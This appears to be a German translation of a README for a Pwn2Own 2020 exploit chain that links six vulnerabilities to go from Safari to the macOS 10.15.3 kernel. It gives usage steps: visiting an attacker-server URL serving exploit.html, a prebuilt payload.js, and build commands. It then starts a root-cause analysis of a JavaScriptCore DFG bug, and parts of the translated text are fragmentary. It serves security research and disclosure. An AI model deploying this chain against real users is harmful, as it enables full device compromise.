
Gefährdung des macOS-Kernels über Safari durch Verkettung von sechs Schwachstellen
Dieses Repository enthält Exploit- und technische Details zu unserem Pwn2Own 2020-Siegerbeitrag, der Apple Safari mit einer Kernel-Rechteausweitung für macOS 10.15.3 angreift. Für weitere Informationen kannst du dir auch unsere Blackhat-USA-2020 Folien und das Video ansehen. Dieses Repository enthält außerdem unser Demo-Video zur erfolgreichen Ausnutzung.
2. Öffnen Sie die Website mit der IP des Angreifer-Servers in Safari:```
http://[attacker_ip]/exploit.html
csrutil status ausführen, der disabled anzeigt.Der Einfachheit halber haben wir ein kompiliertes Payload, payload.js, bereitgestellt. Falls Sie möchten, können Sie es aber selbst bauen. Beachten Sie, dass dies sehr lange dauern wird, da wir WebKit als Teil unserer Exploit-Kette erstellen werden. Es ist erwähnenswert, dass wir unseren Build-Prozess nur unter Mac OS getestet haben.```shell
$ python3 -m pip install --user lief $ make
Technische Details
-----------------
Um diesen Exploit zu erstellen, haben wir die folgenden *SECHS* Schwachstellen miteinander verknüpft.
### 1. Remotecodeausführung in Safari durch fehlerhafte Modellierung von Nebeneffekten des 'in'-Operators im JavaScriptCore DFG-Compiler
- Ursachenanalyse
In JavaScriptCore, wenn eine indizierte Eigenschaft mit dem 'in'-Operator abgefragt wird,
geht der DFG-Compiler davon aus, dass dieser Vorgang nebenwirkungsfrei ist, es sei denn, in seiner Prototypenkette befindet sich ein Proxy-
Objekt, das diesen Vorgang abfangen kann.
JavaScriptCore markiert ein Objekt, das diesen indizierten
Eigenschaftszugriff mithilfe des Flags 'MayHaveIndexedAccessors' abfangen kann. Dieses Flag ist
explizit für das Proxy-Objekt gesetzt.```javascript
0 in [] // side-effect free
let arr = [];
arr.__proto__ = new Proxy({}, {});
0 in arr // can cause side-effect!
Es gibt jedoch ein weiteres Objekt, das Nebenwirkungen verursachen kann:
JSHTMLEmbedElement, das eine eigene getOwnPropertySlot()-Methode implementiert. Eine
Möglichkeit, JavaScript-Callbacks (d. h. Nebenwirkungen) mit dem in-Operator auszulösen, ist
die Verwendung eines <embed>-Elements mit PDF-Plugin; wenn eine Eigenschaft auf dem
DOM-Objekt des embed-/object-Tags abgefragt wird, versucht es, das zugrunde liegende Plugin zu laden, und
der DOMSubtreeModified-Event-Handler kann im Fall des PDF-Plugins aufgerufen werden, da
es die appendChild-Methode für das body-Element verwendet.